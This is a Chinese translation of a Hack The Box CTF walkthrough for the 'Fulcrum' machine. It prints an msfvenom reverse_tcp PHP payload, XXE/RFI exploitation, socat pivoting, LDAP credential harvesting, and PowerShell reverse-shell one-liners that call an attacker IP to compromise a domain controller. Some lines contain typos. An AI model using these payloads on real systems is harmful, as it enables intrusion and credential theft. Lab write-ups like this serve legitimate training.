本文翻译自:
http://www.hackingarticles.in/hack-the-box-fulcrum-walkthrough/
大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Fulcrum”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。
本级靶机难度为专业级别,任务是找到靶机上的user.txt和root.txt。
因为这些靶机放在平台上供大家测试,每个靶机都有自己的静态IP地址,而本次靶机Fulcrum的IP是10.10.10.62。
拿到靶机之后,二话不说,第一件事情就是用Nmap进行端口扫描。这里我们使用nmap的版本扫描参数sV,能获取到更多关于端口对应服务的版本信息。
nmap -sV -p- 10.10.10.62
扫描结果如图:
看图可知,开放的端口有4,22,80,88,9999,56423。
4号端口对应的服务是Nginx服务,表明网站部署在Nginx服务器上,我们打开浏览器访问4端口,却发现页面提示网页正在维护中,还有一个请重新尝试的链接,如图:
我们点击一下这个链接,这时URL中多了一个page参数,如图:
一般这种情况,可能会存在文件包含漏洞,这里是一个可利用的地方,先不着急验证,先把所有端口的情况都看下。
在nmap的扫描结果中,80端口运行着Nginx服务器,我们也来访问一下,但是却显示一个服务器错误,如图:
看来这条路走不下去,我们得换个思路。88端口也同样运行着Nginx服务,我们也访问一下88端口,这次终于有东西了,是一个PHPmyadmin页面。因为我们没有登录的用户密码,所以先放着,一会儿回头再看。
我们继续访问一下另外一个9999端口,是一个pfsense的登录页面,还是先放在一边,如图:
接着访问56423端口,页面上显示的是JSON格式的响应,好像是某种API接口,如图:
根据经验,这个页面可能会存在XXE漏洞,这里,可以进行深度挖掘一下。
首先,我们在本地生成一个PHP后门文件,以便传递到靶机并执行,生成PHP后门的命令如下:
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f raw > shell.php
PHP后门生成之后,我们使用Python在本机上开启HTTP服务,命令如下:
python -m SimpleHTTPServer 80
同时,我们使用metasploit在本地监听4444端口,命令如下:
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.6
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
使用BP工具,我们可以抓取到请求包,然后利用XXE漏洞来上传shell.php文件,但是却获取不到反弹shell,如图:
这里,我们还记得4端口主页上可能存在RFI漏洞(远程文件包含),结合xxe漏洞,我们再来试一下,执行之后,能够成功获取shell,但是得到的shell并不是一个正常的bash shell,而是Python shell,所以我们要用Python命令来生成tty shell,具体如下图:
python -c "import pty; pty.spawn(‘/bin/bash’)"
生成tty shell之后,在当前目录,发现了一个‘‘Fulcrum_Upload_to_Corp.ps1’文件。打开一看发现是一个脚本,通过一些函数对密码进行了加密,如图:
现在我们复制脚本的内容,并且粘贴到一个powershell加密破解的网站https://tio.run/powershell
希望能够提取服务器的登录凭证,如图:
如图,成功获取到密码。
继续遍历系统,发现其中一个文件中包含了内网IP地址,192.168.122.228。下一步就是要对这个内网IP进行一些测试。
这次我们使用nc来扫一下端口,发现5986端口是开放的,如图:
nc -zv 192.168.122.228 1-65535
我们在靶机上下载socat工具,这个工具非常有用,能够帮助我们,将我们的连接转发到另一个网络。关于该工具的用法,请自行Google。
cd /tmp
wget http://10.10.14.6/socat
./socat tcp-listen:60217,reuseaddr,fork tcp:192.168.122.228:5986 &
我们使用socat工具将连接转发到10.10.10.62的60217端口上。
socat tcp-listen:5986, reuseaddr, fork tcp:10.10.10.62:60217
现在我们在Windows上使用powershell来连接kali,这会让我们直接连到靶机上。连上之后,我们查看一下当前默认目录下的内容,发现了几个文件,“CheckFileServer.ps1”, “Invoke-PsExec.ps1” 和“user.txt”.
Enter-PSSession -ComputerName 192.168.199.130 -Credential $5 -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)
dir
type user.txt
type CheckFileServer.ps1
遍历默认IIS目录中的目录,发现了web.config,打开文件,发现里面有LDAP登录凭证,如图:
我们创建一个LDAP查询,找到两个CN:DC和File。我们创建一个关于CN的查询并且找到一些凭证。
(New-Object adsisearcher((New-Object adsi(“LDAP://dc.fulcrumlocal”, “fulcrum\ldap”,”PasswordForSearch123!”)),(objectCategory=Computer)”)).FindAll() | %{ $_.Properties.name }
我们创建一个脚本来获取user.txt文件,应该能够获取第一个flag,但是我们没有权限获取多个PS 跃点。
Invoke-Command -CommandName file.fulcrm.local -Credential fulcrum.local\btables -Port 5985 -ScriptBlock { type C:\User\Btables\Desktop\user.txt }
Invoke-Command -ComputerName file.fulcrum.local -Credentail fulcrum.local\btables -Port 5985 -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient(’10.10.14.6’,53);$stream =$client.GertStream(); [byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes.0 $bytes.Lenght)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘>’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Lenght);$stream.Flush();$client.Close() }
我们使用nc设置监听并获得反向shell。我们查看一下文件,找到了user.txt,打开文件就能发现第一个flag,如图:
现在我们有了服务器的shell,我们将使用之前找到的凭证来访问DC服务器。
net use \\dc.fulcrum.local\netlogon /user:fulcrum\btables ++FileServerLogon12345++
当我们连接到DC服务器后,我们发现了很多包含了凭证的ps1脚本,这将会进一步帮助我们提升服务器的权限。
我们创建脚本来检查文件中所有权限凭证。
现在我们创建脚本来拿下域控服务器的shell。
Invoke-Command -ComputerName dc.fulcrum.local -Credential 923a -Port 5985 -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.6',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }
运行脚本,我们就会看到一个弹窗,要求我们输入密码。我们输入之前用脚本找到的密码。
我们设置好监听然后等待反向shell。获得反向shell之后,我们在目录c:\Users\Administrator\Desktop中找到了root.txt文件,打开文件,获取第二个flag,大功告成。
nc -lvp 53